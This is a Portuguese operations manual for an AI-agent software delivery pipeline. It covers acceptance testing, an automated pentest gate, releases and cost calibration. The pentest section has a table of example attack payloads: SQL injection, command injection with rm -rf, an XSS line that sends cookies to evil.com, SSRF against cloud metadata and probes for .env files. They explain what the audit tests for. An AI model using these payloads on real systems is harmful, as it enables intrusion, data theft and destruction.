/mks-validate <workstream> --track <N> | A track INTEIRA: re-roda todas as stories — é o modo que pega regressão (uma story consertada quebrou outra) |
/mks-validate <workstream> --track <N> --tool=<name> | Track inteira com uma tool específica |
O <workstream> aceita match parcial (se bater mais de um, lista e pergunta). O <story> aceita número (0003) ou slug (monthly-hour-calculation) — a busca varre todos os track-*/functional/ atrás do *-acceptance-criteria.md correspondente.
O contrato declarativo — a skill não conhece sua stack
API_URL, TEST_EMAIL…), paths de endpoint (/health, /account/login…) ou campos de header/body. TODO o conhecimento de stack vive no bloco integrationTest de delivery/delivery.json — o mesmo arquivo para um backend NestJS, uma API Rails ou um Spring. A skill é genérica de propósito: o projeto declara o contrato, a skill executa.| Contrato | Chaves em integrationTest | Exemplo |
|---|---|---|
| App | app.backend.{urlEnv, healthPath, expectedStatus} e o mesmo para app.frontend | urlEnv API_URL · healthPath /health · expectedStatus [200, 204] |
| Env | env.file (default .env) e env.required (lista de vars obrigatórias) | ["API_URL", "FRONTEND_URL", "TEST_EMAIL", "TEST_PASSWORD"] |
| Auth | auth.strategy (http-login ou cookie-session) + sub-blocos da estratégia | ver tabela de autenticação abaixo |
| Chave | Default | Controla |
|---|---|---|
tools.<tool>.enabled / .weight | ambas habilitadas | Quais tools rodam e se o veredito é primary (bloqueia) ou advisory (só informa) |
execution | sequential | Tools rodam em sequência — paralelo é opt-in |
fix.maxAttempts | 3 | Tentativas de correção por critério antes de delegar |
onToolFailure | abort | Tool quebra no meio → a run INTEIRA aborta (nunca segue com metade) |
approval.blockingSeverities | — | Quais severidades de finding advisory bloqueiam a aprovação |
milestoneRetry.maxRuns / retryOnlyFailedOnRetry / stopWhen | — / true / zero-blocking-bugs | A lógica de retry do modo track |
Primeira execução — o wizard de configuração
Pré-flight — verificado ANTES de abrir qualquer browser
| # | Verificação | Se falhar |
|---|---|---|
| 1 | .env existe (no path de env.file) | Copia do .env.example (se houver) e ABORTA pedindo que você preencha — nunca prossegue sem .env |
| 2 | Todas as env.required existem e não estão vazias | Lista as faltantes e aborta |
| 3 | URLs resolvem — os valores de urlEnv | Aborta nomeando a var faltante |
| 4 | Backend no ar — curl no health path, status em expectedStatus | Aborta e pede para subir o backend — fail fast: não roda tools contra sistema caído |
| 5 | Frontend no ar — mesmo padrão | Aborta e pede para subir o frontend |
| 6 | Tools prontas — MCP Playwright carregado + agent-browser instalado | Com onToolFailure: abort, para na primeira — nunca prossegue com um subconjunto |
| 7 | Auth dry-check — todo placeholder {{env.X}} resolve no .env | Aborta nomeando o placeholder órfão (o login em si ainda NÃO roda) |
Classificação de critérios — api / ui / manual
| Tipo | É quando | Como testa |
|---|---|---|
| api | Cálculo de backend, regra de dados, permissão, resposta de endpoint | curl direto ou fetch do MCP Playwright |
| ui | Exibição visual, interação, navegação, comportamento de frontend | MCP Playwright e/ou agent-browser pilotando o browser |
| manual | Depende de sistema externo, julgamento subjetivo, multi-device | Pula com nota no relatório — nada de fingir teste |
Autenticação — uma vez por execução, declarativa
| Estratégia | Como funciona | Serve para |
|---|---|---|
http-login | Login declarado → token extraído via JSONPath (response.tokenPath, ex.: $.accessToken) → injetado no browser conforme browserInjection.type: localStorage, cookie ou header | JWT em localStorage/cookie/header, OAuth2 password grant, session token custom |
cookie-session | Login capturando cookies; sem Set-Cookie no response, aborta — o servidor não abriu sessão | Rails Devise, Django sessions, express-session, Spring Security, ASP.NET cookie auth |
O login roda uma única vez por execução (curl com method/path/headers/body do delivery.json, placeholders {{env.VAR}} do .env). Os artefatos que as tools compartilham ficam em .auth/ (sempre gitignored): api-token.json, storage-state.json (o browser "nasce logado") e cookies.txt.
As duas ferramentas — e por que são duas
| Tool | Papel | Como opera |
|---|---|---|
| MCP Playwright | Primary — o veredito dela marca critério | Tools playwright.browser_navigate / browser_snapshot / browser_click / browser_type / browser_fill_form / browser_take_screenshot. Determinística: navega, age, assertiona, fotografa. Evidência em <story>/mcp-playwright/evidence/ |
| agent-browser | Primary + exploratória (Dogfood com peso advisory) | Core skill para critérios formais: open → snapshot -i → click @refN / fill @refM → re-snapshot. A skill Dogfood navega autonomamente — descobre problemas de UX que NÃO estão nos critérios, com screenshots e vídeos. Evidência em <story>/agent-browser/evidence/ + dogfood-report.md |
O fix loop — 3 tentativas, depois delega para humano
yarn build · frontend: pnpm check-types — re-testar código que não compila é desperdiçar tentativayarn start:dev / pnpm dev recarregam no save — testar antes do reload é teste contra código velho"deferred — needs cross-cutting change" e o humano decide. Um fix "pequeno" num componente compartilhado pode quebrar três telas que dependem dele.Rubrica de severidade — e como bugs nascem numerados
| Severidade | É quando |
|---|---|
| critical | Quebra o fluxo primário da story; bloqueia o uso central da workstream; perda de dados ou números errados para o usuário final |
| major | Quebra uma capacidade específica com workaround difícil; afeta fatia significativa de usuários; regressão de performance ≥ 2× o esperado |
| minor | Glitch visual, erro de copy, edge case, comportamento inconsistente não-bloqueante; workaround trivial existe |
O que não se conserta em 3 tentativas vira bug estruturado: validation-reports/bugs/bug-NNN-<slug>.md, com numeração monotônica POR TRACK. Diretórios são criados lazy — bugs/ e evidence/ só nascem no primeiro artefato real: pasta vazia pareceria trabalho delegado que não existe.
Reconciliação entre ferramentas — as 4 situações possíveis
| Situação | Resultado do critério |
|---|---|
| Ambas passaram | ✓ marcado — critério aprovado |
| Ambas falharam | Um único bug citando as duas tools, severidade = a MAIOR das duas |
| Uma passou, outra falhou | Bug Tool: divergent com os Fix attempts de cada uma — humano decide qual veredito está certo. Divergência não dispara novo fix loop |
| Falha só na advisory (Dogfood achou UX não coberta) | Sempre vira bug (minor, salvo gravidade objetiva maior) mas NÃO bloqueia — a menos que ≥ approval.blockingSeverities |
Modo track — retry que protege contra regressão de correção
track-summary.md final traz o histórico completo de runs + a comparação entre tools.As 6 regras "NUNCA" do validador
Nunca modifica texto de critério
O critério é a fonte da verdade do cliente. Só flipa [ ] → [x] e anota advisory inline (⚠️). Critério "errado" vira bug needs review — nunca edição silenciosa.
Nunca marca [x] sem todas as primárias
O check só desce quando TODAS as tools de peso primary passaram naquele critério. Advisory passando não marca; primary falhando marca menos ainda.
Nunca finge passo de browser
Se as tools playwright.* não carregaram no catálogo, a skill reporta o status do MCP e PARA — fabricar "naveguei e vi" é exatamente a classe de bug que a Esteira existe para matar.
Nunca commita .env ou .auth/
Credenciais, tokens e storage-state ficam fora do git — sempre. O commit de resultados só entra com seu aceite (validation-reports, bugs, acceptance-criteria atualizado).
Nunca re-tenta login automaticamente
Erro de login é erro de configuração — despeja o response e aborta. Retentar esconde a causa e arrisca lockout de conta.
Nunca deixa a run em estado irrecuperável
Tool quebra no meio (com onToolFailure: abort): a run inteira para, fixes inacabados vão para git stash — nada de trabalho parcial commitado, nada de "continuei com a que sobrou".
Portão 2: Pentest — a auditoria ofensiva com Shannon
O /mks-pentest executa uma auditoria white-box (com acesso ao código-fonte em delivery/repos/) usando a ferramenta Shannon. Shannon é uma ferramenta de pentest autônomo que recebe a URL do alvo + o código-fonte + regras de autenticação, e tenta invadir o sistema da mesma forma que um atacante real tentaria — navegando, injetando, explorando, escalando privilégios. Tudo que ela encontra fica em delivery/pentest-audits/runs/.
Pré-flight: 8 verificações obrigatórias antes de rodar
| # | Verificação | Como testa | Se falhar |
|---|---|---|---|
| 1 | Não é o template source | Lê delivery.json: se template.isSource: true → aborta | "Runs only in derived projects, not in the template repository" |
| 2 | Workstream argument válido | Verifica que existe em active/ ou completed/ | "Workstream is archived" ou caminhos procurados |
| 3 | Track argument válido | Verifica subdiretório dentro do workstream | Lista de caminhos procurados |
| 4 | Docker rodando | docker info (silencioso) | "Start Docker and try again" |
| 5 | Node.js 18+ | node --version, parseia major | "Install/upgrade and try again" |
| 6 | .env com OAuth token | Lê .env, verifica CLAUDE_CODE_OAUTH_TOKEN | "Copy .env.example to .env and set CLAUDE_CODE_OAUTH_TOKEN" |
| 7 | Shannon config existe | Verifica pentest-audits/configs/shannon.yaml; se ausente, cria do template e ABORTA para revisão | "Created from template. Fill in and re-run" |
| 8 | Target URLs configuradas | Lê pentest.targets de delivery.json | "Add pentest.targets with at least one URL" |
Fluxo de execução — o que acontece quando você confirma
O que Shannon ataca — com vetor real de cada categoria
| Categoria | Vetor de ataque | Exemplo literal | O que prova se falhar |
|---|---|---|---|
| Injeção SQL/NoSQL | Insere código de query em campos de entrada | '; DROP TABLE contracts; -- | Qualquer dado pode ser extraído, modificado ou destruído |
| Injeção Command | Insere comandos de shell em parâmetros | $(rm -rf /) em filename de upload | Controle remoto do servidor |
| IDOR (Insecure Direct Object Reference) | Troca IDs em URLs para acessar recursos de outros | GET /contracts/124 (de outro tenant) com seu token | Vazamento de dados entre clientes — crítico em multi-tenant |
| Auth bypass | Acessa endpoint protegido sem token ou com token expirado/inválido | GET /admin/users sem Authorization header | Qualquer pessoa acessa dados admin |
| Privilege escalation | Usa token de usuário normal para acionar endpoint admin | POST /admin/delete-user com token de role=user | Usuário comum pode destruir o sistema |
| XSS (Cross-Site Scripting) | Injeta JavaScript que executa no browser de outro usuário | <script>fetch('https://evil.com/steal?c='+document.cookie)</script> no campo nome | Roubo de sessão, redirecionamento para phishing |
| SSRF (Server-Side Request Forgery) | Faz o servidor chamar URLs internas | Webhook URL: http://169.254.169.254/latest/meta-data/ | Acesso a metadados AWS/infra interna |
| Exposição de dados | Procura endpoints/erros que vazam informação sensível | GET /.env, GET /api/v1/users?include=password | Credenciais e dados confidenciais acessíveis |
| Config exposta | Verifica CORS, headers de segurança, TLS, rate limiting | Access-Control-Allow-Origin: *, sem X-Frame-Options | Superfície de ataque desnecessariamente aberta |
delivery/repos/ para entender a estrutura da aplicação, identificar rotas, parâmetros e padrões antes de atacar. Muito mais eficaz que black-box, porque Shannon pode procurar padrões perigosos específicos da stack (ex: TypeORM raw queries, template strings em queries SQL) em vez de chutar.O diretório da run — o que fica em disco
delivery/pentest-audits/
├── configs/
│ └── shannon.yaml # Auth, rules, pipeline — editado manualmente
└── runs/
├── 20260920-0001/ # Uma run: YYYYMMDD + sequência global
│ ├── workstream.txt # Link de rastreabilidade (se passado)
│ └── [output do Shannon] # Reports, screenshots, logs
└── 20260921-0002/ # Sequência NUNCA reseta
As 6 regras "NUNCA" do pentest
Nunca auto-instala pré-requisitos
Docker e Node são VERIFICADOS, não instalados. O agente aborta e pede instalação manual — instalar Docker automaticamente é risco de segurança em si.
Nunca pede secrets no chat
Tokens são lidos de .env ou interpolados via ${VAR} no shannon.yaml. Pedir credencial no chat seria vazar o segredo para o contexto do modelo.
Nunca parseia relatórios do Shannon
O agente transmite o stdout verbatim e aponta o diretório. Não resume, não filtra, não pontua — parsear seria introduzir interpretação onde não deve haver.
Nunca invoca outros skills
Depois da run, o agente apenas RECOMENDA em texto qual skill usar ("/mks-ticket para bug pontual"). Nunca executa — a decisão de como tratar um finding é comercial e de risco, é sua.
Nunca commita output automaticamente
Relatórios de pentest podem conter SECRETS EXTRAÍDOS durante a exploração (senhas, tokens, chaves). Commitar automático seria vazar segredos no git. Você revisa e commita manualmente.
Nunca roda no template source
O repositório template NÃO é alvo de pentest. O skill aborta imediatamente se template.isSource: true. Pentest é para projetos derivados com dados reais.
Como um finding se parece
/mks-ticket "corrigir IDOR em contracts" — corrigir ANTES do release/mks-ticket "adicionar rate limiting no login"Como findings viram trabalho — o pipeline de correção
| Tipo de finding | Vira o quê | Comando | Por quê |
|---|---|---|---|
| Único, localizado, um repo, sem impacto arquitetural | Story bug (leve) | /mks-ticket "corrigir IDOR em contracts" | Quick flow — não precisa de workstream para um fix |
| Múltiplos findings relacionados (ex: overhaul de auth) | Nova feature | /mks-blueprint | Escopo maior que um fix — precisa decomposição e estimativa |
| Força mudança arquitetural (ex: trocar crypto lib) | Nova feature | /mks-blueprint | Impacto estrutural — precisa de arquitetura antes |
| Baixa severidade, usuário decide ignorar | Nada — decisão documentada | Comentário no finding | Decisão consciente ≠ esquecimento |
Release — o protocolo de versionamento que fecha a entrega
O /mks-release <new-version> é o último comando da Esteira — e é deliberadamente pequeno: ele versiona, documenta e publica a versão. Só isso, feito com rigor total.
delivery.json, update do README, commit, push, changelog funcional extraído dos commits, git tag anotado com o changelog na mensagem, push da tag. NÃO é deploy (não sobe nada para servidor — deploy tem script próprio do cliente), NÃO é merge (P8 — o merge é seu e já aconteceu), e NÃO altera código de aplicação (a árvore precisa estar limpa justamente para provar isso).Pré-flight — 3 verificações, qualquer uma falha aborta
| # | Verificação | Como | Se falhar |
|---|---|---|---|
| 1 | Versão fornecida | Uma string de versão (ex.: 0.2.0) | Pergunta a versão — sem ela não há release |
| 2 | Árvore de trabalho limpa | git status --porcelain — QUALQUER output conta como sujo | Aborta: commit ou stash antes. Nunca segue com trabalho não-commitado |
| 3 | Versão é nova | Lê o campo-alvo atual no delivery.json e compara | Versão igual à atual → aborta (tag duplicada é erro de operação) |
Mode detection — template ou delivery unit
| Modo | Quando | Bumpa no delivery.json | Atualiza no README |
|---|---|---|---|
| Template mode | template.isSource: true (o repo É o boilerplate) | version E template.version — ambos para o mesmo valor | Linha Template Version (e Version) |
| Delivery Unit mode | template.isSource: false (projeto derivado) | Só version — template.version intocado (registra de qual geração do template o projeto nasceu) | Só a linha Version |
Os 9 passos — o que acontece depois do pré-flight
0.2.0)chore: bump version to v<version>git push — o commit de versão chega ao remote ANTES da tag existirgit log <last-tag>..HEAD --oneline — da tag anterior até agora. Sem tag anterior: todo o históricogit tag -a v<version> com o changelog funcional como mensagem — com prefixo vgit push origin v<version> — automático: o commit já passou pelo seu gate no passo 4.delivery-released.json na workstream — DEPOIS de validar que a tag existe no repo e que o delivery.json carrega a versão. É este marcador que o board lê para mover o lifecycle ao estágio releaseAnatomia do changelog funcional — a transformação que o passo 6 faz
$ git log v0.1.0..HEAD --oneline a3f9c21 fix: guard null token in refresh flow 8b2e440 refactor: extract auth middleware c7d1155 fix: refresh crash when token expired d4a8812 feat: monthly revenue report page e5f3320 chore: bump version to v0.1.0 f6b2199 fix: chart re-render on filter change a1c7780 feat: revenue report export to CSV…e o changelog funcional que sai (passo 6):
• Corrigido: erro ao renovar sessão expirada (três commits técnicos, UM defeito de usuário) • Novo: relatório de receita mensal com exportação CSV • Corrigido: gráfico não atualizava ao trocar o filtro
-a): a tag anotada é um objeto git próprio que carrega mensagem, autor e data — git show v0.2.0 exibe o changelog completo para sempre, sem precisar de arquivo CHANGELOG.md versionado à parte.As regras do protocolo
| Regra | Por quê |
|---|---|
Versão no delivery.json SEM prefixo v; tag COM prefixo v | Config é dado (comparável, parseável); tag é marco git (convenção v universal) |
| Nunca pula o clean check | Tag congelaria estado que não passou pelos portões |
| Changelog funcional, deduplicado — nunca raw dump | O leitor é o cliente, não o dev |
| Tag é pushed automaticamente após criada | Tag local não existe para o time; o push do commit (passo 4) já foi o gate |
Template mode bumpa ambos os campos; Delivery Unit mode só version | template.version preservado registra a geração do boilerplate da qual o projeto nasceu |
O marcador .delivery-released.json só nasce via tool RecordRelease | A tool valida tag + versão contra o disco antes de gravar — marcador de release não se escreve à mão nem se forja |
Critérios de saída do Harden — checklist completo
1. 100% dos critérios de aceite de todas as stories passaram com screenshot de evidência
2. Zero achados críticos do pentest em aberto
3. Achados médios têm story criada com dono e prazo
4. Achados de baixa severidade têm decisão documentada (corrigir ou ignorar)
5. O cliente viu o relatório de validação e aprovou (gate humano)
6. Merge humano foi feito (P8 — sempre humano, nunca o agente)
7. Changelog gerado a partir dos commits
8. Versão bumpada e tag criada
Só então /mks-release roda: versão bumpada, commit pushed, tag vX.Y.Z anotada com changelog no remote, e o marcador de release gravado — o board marca a workstream como released.
Erros comuns do Harden — e como a Esteira protege
Por que está errado: Build passar significa que o código compila e os testes unitários passam. Não significa que o usuário consegue usar o sistema — muito menos que é seguro. É a diferença entre o motor ligar e o carro dirigir bem na estrada.
Como a Esteira protege: Harden é uma fase SEPARADA com portões próprios. Você não pula de Build direto para release.
Por que está errado: O pentest custa ~US$ 50. Uma vulnerabilidade explorada custa: vazamento de dados (LGPD: multa de 2% do faturamento), downtime, perda de confiança do cliente.
Como a Esteira protege: Critério de saída exige zero críticos. Sem pentest, você não sabe se tem críticos.
Por que está errado: Critério de aceite é a LEI da story — se falhou, a story não está done. "Corrigir depois" é aceitar entregar algo que não funciona como prometido.
Como a Esteira protege: O board não marca "done" até 100% dos critérios passarem.
Por que está errado: Merge é gesto humano (P8). Código que ninguém leu não vai para produção — mesmo que tenha passado em todos os portões automáticos.
Como a Esteira protege: P8 é aplicada em código — o agente não tem permissão de merge. E o
/mks-release exige a árvore limpa, o que na prática força o merge (seu) a já ter acontecido. O agente prepara tudo e PARA.As regras que mantêm a esteira honesta
Regras (P1–P8) extraídas de falhas reais — cada uma existe porque alguém já pagou o preço de ignorá-la. O detalhe de cada regra está na seção 13; aqui você entende como elas são aplicadas — e por que não dependem de o agente "lembrar".
As oito regras P1–P8 — com a motivação de cada uma e o mecanismo que aplica — estão detalhadas no capítulo 13. O que é específico do Harden está abaixo.
Estimativa sem critério de aceite
Escopo elástico: o preço para de ser auditável e o buffer estoura.
Implementação sem plano técnico
Descoberta cara no meio do código: retrabalho de 20–40% da tarefa.
Tarefa concluída sem evidência de ferramenta
Relato sem prova: bugs adormecidos até o cliente encontrar.
Deploy sem validar artefatos no destino
'Pronto local' vendido como pronto: usuário testa versão antiga.
Estimativa nunca calibrada
Desvio sistemático invisível: preço errado se repete a cada entrega.
Commits não atômicos
Mistura de tarefas no histórico dificulta reverter e auditar.
A Esteira como runtime — o board que gateia por si
Além das regras aplicadas ao agente, o MOTOR tem gate própria: a dashboard não é um visor passivo, ela segura a fase até haver aceite humano registrado (e há um protocolo para concluir e para desconfiar de si mesma).
| Mecanismo | Como funciona (código) | O que você vê |
|---|---|---|
| Gates de fase | Cada workstream carrega um phase-gates.json com o modo e os aceites: { mode: 'guided'|'auto', accepted: { blueprint: iso, ... } }. Em guided (padrão), a fase completa só libera a próxima quando o aceite é registrado com timestamp — via tool AdvancePhase das skills. Em auto, os gates não seguram nada (é o modo do /mks-darkfactory) | A sugestão de próximo passo do board respeita o gate: sem aceite, nada de pular etapa |
| Conclusão manual | O marcador .delivery-done.json na workstream (ou movê-la para completed/) força o lifecycle a done. Sem isto, a entrega só concluía quando TODAS as stories tinham custo medido — o que quase nunca fecha sozinho. Reabrir derruba ambos os marcadores: o done e o .delivery-released.json do release (a entrega voltou a trabalhar; o release anterior deixou de ser o estado atual) | Os botões "Concluir entrega" e "Reabrir" da dashboard gravam/removem o marcador |
| Contradiction guard | Se o parser diz "ainda em esboço" mas existe um build-plan REAL no disco, o board não sugere refazer exploração — faz uma varredura crua e independente e suprime a sugestão em vez de mostrar algo possivelmente errado ("se não é pra evoluir, não mostra") | O board fica calado em vez de te mandar pra trás quando o estado real está adiante |
| Parser tolerante | Stories em qualquer forma canônica ou degenrada pelo modelo (story-NNNN-*.md plano, diretoro story-NNNN/ com NNNN.md, prefixo trilha-N) são detectadas e deduplicadas; workstream com arquivo ilegível é PULADA sem derrubar a dashboard | O board mostra o que existe — não some story por causa de formato, nem a tela inteira por causa de um arquivo torto |
A esteira aprende: calibração da estimativa
Cada entrega concluída alimenta a calibração: UEs estimadas vs esforço real medido. Desvios sistemáticos corrigem a âncora — por repositório, com o ajuste registrado, nunca silencioso. É o que faz a Fase 0 do próximo projeto nascer melhor que a do anterior.
O ledger — onde a verdade vive
{ "story": "20260920-system-contrata/track-1-fundacao/story-0001",
"repo": "backend",
"factors": { "size": "Medium", "complexity": "High", ... }, ← os 6 fatores classificados
"scope": { "acceptanceCriteria": 6, "repos": 1, "sections": 5 }, ← counts (fonte da verdade do DU)
"estimatedDU": 53, ← DU calculado na estimativa
"actual": null, ← custo MEDIDO (o meter preenche)
"footprint": ... } ← diff real entregue (segundo sinal)
O loop — como estimado encontra real
O /mks-calibration lê o ledger e resume por repositório. A mecânica é determinística: o fator de um repo é a média de actual / estimatedDU das stories que já têm custo real; a âncora ajustada é a âncora base multiplicada por esse fator. Estimativas seguintes daquele repo já nascem corrigidas — cada repo aprende separado, porque um backend legado e um frontend novo erram de formas diferentes.
Os quatro vereditos — o que o relatório diz
| Veredito | Quando (código) | O que significa | Ação |
|---|---|---|---|
| cold | fator > 1,05 | Estimativas frias: o trabalho custou mais que o estimado | Âncora ajustada SOBE. Investigue o padrão: fator errado? escopo mal contado? |
| hot | fator < 0,95 | Estimativas quentes: custou menos que o estimado | Âncora ajustada DESCE — você está cobrando caro demais e perdendo proposta por preço |
| calibrated | 0,95 ≤ fator ≤ 1,05 | Dentro da faixa de 5%: estimativa e realidade batem | Nada — é o estado que a Esteira persegue |
| no-data | zero actuals | Nenhuma story daquele repo foi medida ainda | Fator neutro (1,0) — rode o ciclo estimar→medir pelo menos uma vez |
O segundo sinal — footprint do diff
Custo sozinho mente: retrabalho e volta-atrás parecem esforço legítimo. Por isso o build grava também o footprint — o diff objetivo entregue (arquivos tocados, linhas +/−) por story no ledger. São dois sinais medidos que se confrontam: pagou 53 DU para entregar quantas linhas? A relação custo/footprint por repo, ao longo do tempo, expõe onde o trabalho escoa sem produzir entrega.
calibration.json é editado por agente — e às vezes sai malformado. O loader degrada de propósito: JSON inválido vira ledger vazio + aviso no console, e a dashboard continua de pé (só a estimativa some, não a tela). Um arquivo ruim não derruba a visão do todo.api, web) só fecha se o histórico da sessão mostra arquivos tocados em CADA layer — sem o gate, um layer é pulado em silêncio e a dashboard nunca acusa o faltante. Fechar medição de story multi-layer pela metade é exatamente o tipo de erro que não gera alarme depois./mks-story <id> antes de começar o build — aponta a story ativa; (2) /mks-meter record ao concluir — grava o custo real como actual; (3) /mks-calibration a cada marco — lê os vereditas por repo e o efeito na âncora. Sem o passo 1, o custo vira órfão e o loop não fecha.ContrataCRM — a esteira inteira sobre o saas-starter
O ContrataCRM é o exemplo que ancora este manual: um sistema fictício de gestão de contratos B2B para uma pequena consultoria, construído sobre o boilerplate saas-starter. Aqui você vê o método inteiro funcionando — a Fase 0 com classificação de verdade, o preço nascendo da fórmula, a execução fase a fase e a calibração fechando o ciclo com desvio de +4,5%.
O ponto de partida — o que o boilerplate já entrega
Toda estimativa parte do que JÁ existe. O saas-starter é um monorepo NestJS + React de produção — e é por isso que o Marco 1 tem incerteza Low: a fundação técnica não é promessa, é fato verificado no disco.
| Já vem de fábrica (NÃO se estima nem se constrói) | É o domínio (estimado em UE e construído) |
|---|---|
Monorepo backend/ + frontend/ + Docker Compose (PostgreSQL 16 + Redis 7) | Cadastro de clientes PJ com CNPJ (validação + busca externa) |
| Auth JWT com rotação (acesso 15 min + refresh 7 dias em cookie httpOnly) | Ciclo de vida do contrato (rascunho → ativo → encerrado) |
Multi-organização (módulo organizations completo) + rate limiting de fábrica (@nestjs/throttler) | Painel de receita recorrente prevista vs. realizada |
Swagger em /api/docs · e2e em SQLite (auth e users e2e-spec como padrão canônico) · bcrypt + class-validator | Exportação CSV, alertas de renovação |
A Fase 0 do ContrataCRM — a classificação de verdade
O contexto da intenção
| Fator de contexto | Nível | Justificativa (como foi classificado) |
|---|---|---|
| Responsibility | R2 × 1,20 | Controla cobrança recorrente do cliente — um defeito aqui é dinheiro perdido, mas com rastreio e conciliação possíveis (não é R4: não guarda dado de vida/saúde nem bloqueio legal imediato) |
| Governance | Medium × 1,10 | Contratos exigem trilha de auditoria de alterações (quem mudou o quê e quando) — mais que um site institucional, menos que um domínio regulado |
Os marcos com incerteza JUSTIFICADA
| Marco | Incerteza | Por quê | Entregáveis (amostra) | UE |
|---|---|---|---|---|
| 1 · Fundação | Low | Sobe sobre auth/tenant/infra do boilerplate — estrutura real verificada, território conhecido | 0001 — Cadastro de clientes PJ (CRUD completo) | 28 |
| 0002 — Validação de CNPJ + busca externa | 36 | |||
| 2 · Contratos | Medium | Integração com gateway de pagamento nunca feita nesta base — e é onde o dinheiro circula | 0003 — Ciclo de vida do contrato (rascunho→ativo→encerrado) | 44 |
| 0004 — Painel de receita prevista vs. realizada | 32 | |||
| 3 · Relatórios | Low | Leitura e exportação sobre dados já estruturados — sem nova integração | …demais tarefas do domínio (agrupadas) | 16 |
O que a Esteira fez com o número aprovado
Cada etapa deixou seu artefato no workspace: o overview.md que o cliente aprovou, os ADRs numerados que TODOS os build-plans herdaram (decisão de persistência e auth tomada UMA vez), 11 build-plans com checklist, branches workstream/contrata/story-NNNN por repo, relatórios de validação com screenshot por critério, e o pentest concentrado no Marco 2 — onde o dinheiro circula, é lá que a auditoria ofensiva paga mais. O walkthrough passo a passo desta execução está na seção 11.
O resultado medido — a calibração nasce
Cada story concluída gravou seu actual (consumo medido em DU) no ledger. A soma deu 163 contra 156 estimadas: +4,5% — dentro da faixa de 5% que o motor chama de calibrated. A âncora não precisou de ajuste, e a próxima estimativa desta dupla de repos nasce com o fator real por trás. Zero push sem gate, zero commit na main, 100% dos critérios com evidência — e uma tag v1.0.0 cujo git show exibe o changelog funcional até hoje.
Marcos 1–3
156 UE · R$ 26.770 — sistema operacional com validação e pentest
Integrações
E-mail, assinatura digital, ERP — novas entregas, nova Fase 0 para cada
Multi-produto
Mesmo tenant, produtos novos: a calibração acumulada firma cada estimativa
Simule o custo do seu sistema
A mesma fórmula da Fase 0, exposta: arraste os parâmetros e veja o preço. Os valores iniciais reproduzem o caso-base do ContrataCRM.
Preço = UE × (1 + buffer) × R$/UE × (1 + margem)
Como operar a Esteira — comando por comando
Este é o manual de operação: qual comando rodar, quando, e o que esperar. Primeiro o mapa operacional com o porquê de cada comando; depois a referência comando-por-comando, agrupada por fase.
/. O agente entende o comando, executa as ferramentas necessárias e reporta o resultado. Você aprova, ajusta ou rejeita — o controle é sempre seu.Como a Esteira funciona — a jornada de operação completa
Este é o mapa operacional: seis estações, cada uma com o que acontece, os comandos e o gate que libera a próxima. Nenhuma fase termina "no feeling" — cada gate é verificável no board ou no disco. As seções 02–05 trazem o treinamento completo de cada fase; a referência comando-por-comando vem logo depois do mapa.
- /mks-init— configure a Esteira no projeto
Por quê PRIMEIRO: é ele que cria
delivery/, odelivery.json(moeda UE, repos, regras de fase) e estabelece os dois mundos — workspace (processo) +delivery/repos/(código, via clone ou symlink). Rodou numa pasta que já é repo de código? Ele RECUSA e orienta. Sem ele, todo comando seguinte aborta — o blueprint para com "rode /mks-init primeiro" em vez de improvisar. - /mks-onboard— entenda um projeto existente Por quê (projetos com código): alimenta o contexto da Esteira com a stack real — a interview passa a perguntar só o que o código não responde.
- /mks-explore— explore o problema em discussão estruturada
Por quê ANTES de custear: você sabe o que QUER, não o TAMANHO. O explore resolve problema/escopo/abordagem e grava
brainstorm.md— o blueprint lê esse arquivo e não re-pergunta o que já foi resolvido. - /mks-interview— estruture o escopo em marcos e entregáveis Por quê: transforma o explorado em marcos + entregáveis classificados pelos 6 fatores — a matéria-prima da fórmula. Sem classificação não há DU, só chute.
- /mks-quote— gere o preço auditável (UE × rate × buffer × margem) Por quê DEPOIS: número só existe quando existe escopo classificado para multiplicar. Rodar quote antes da interview é pedir preço de nada.
- /mks-blueprint— crie a workstream com overview e tracks
Por quê PRIMEIRO: é o único que CRIA a workstream no disco —
overview.md, tracks,presentation.html,estimate.mdcom DU ainda_TBD_. Ele entrevista, valida o escopo num gate clicável e PARA: DU não nasce aqui (nasce no breakdown). Sem workstream, o breakdown não tem onde escrever. - /mks-breakdown— detalhe tracks em stories com critérios Por quê SEGUNDO: transforma cada track em stories com critérios de aceite + DU real (6 fatores, gravados no calibration.json). É aqui que nasce o critério que o validate vai testar na Fase 3 — sem breakdown, o board não mostra NENHUMA story e o fluxo não anda.
- /mks-architecture— defina a fundação técnica
Por quê DEPOIS do breakdown (e não antes): a skill PARA se o breakdown estiver incompleto — arquitetura se decide contra o escopo COMPLETO. O
architecture.mdproduzido é a base que TODOS os techplans referenciam: decisão única, em vez de cada story re-discutir stack. - /mks-board— veja o pipeline e o que vem a seguir
Por que NÃO serve para começar: o board LÊ o estado do disco — ele nunca cria nada. Rodá-lo antes do blueprint mostra vazio. É o painel de conferência (tracks documentadas, critérios, presentation) e quem arquiva a workstream no fim (
/mks-board complete|archive).
- /mode build— troque para modo build
Por quê: muda as REGRAS que o agente segue (lê
build.md) — Write/Edit liberados SOB plano técnico. Sem a troca, o agente continua nas regras do plan: edição bloqueada. - /mks-techplan— plano técnico da story (build-plan) Por quê ANTES do build: é precondição DURA — o build sem build-plan ABORTA em vez de improvisar da spec funcional. O plano é intenção (≤80 linhas, shapes por nome, zero código colado) encaixado na arquitetura já decidida.
- /mks-build— implemente seguindo o plano
Por quê separado do techplan: um escreve intenção, outro executa. O build cria branch
workstream/<ws>/<story>, usa o checklist do plano como estado durável (retoma pós-compactação sem re-descobrir) e grava o custo REAL no calibration. - /mks-review— revisão com 4 agentes paralelos Por quê ANTES do validate: o review lê o CÓDIGO (4 lentes: segurança, performance, qualidade, padrões do projeto) com AUTO-FIX: Critical e High são corrigidos e commitados na hora — o validate recebe código já saneado.
- /mks-meter— meça tokens/custo/tempo da story
Por quê AQUI: mede o custo REAL da story que ACABOU de sair — é o número que fecha o loop estimado vs. real na calibração. Antes de começar o build, aponte a story ativa com
/mks-story <id>; sem o pino, o custo medido fica órfão. Medir semanas depois é perder a trajetória. - Repita até a track terminar →
- /mode harden— troque para modo harden Por quê: inverte a mentalidade — as regras passam a ser de verificação, não de criação. Construir e quebrar na mesma regra produz as duas malfeitas.
- /mks-validate— teste critérios de aceite com browser
Por que o review NÃO basta: o review lê código; o validate USA o sistema — browser real, critério a critério, screenshot como prova. Só ele pode virar
[x]no critério. - /mks-pentest— auditoria ofensiva (OWASP, injection) Por quê DEPOIS do validate: alvo certo é sistema FUNCIONAL. O pentest ataca o que nenhum critério de aceite cobre — vetores maliciosos, não fluxos de usuário.
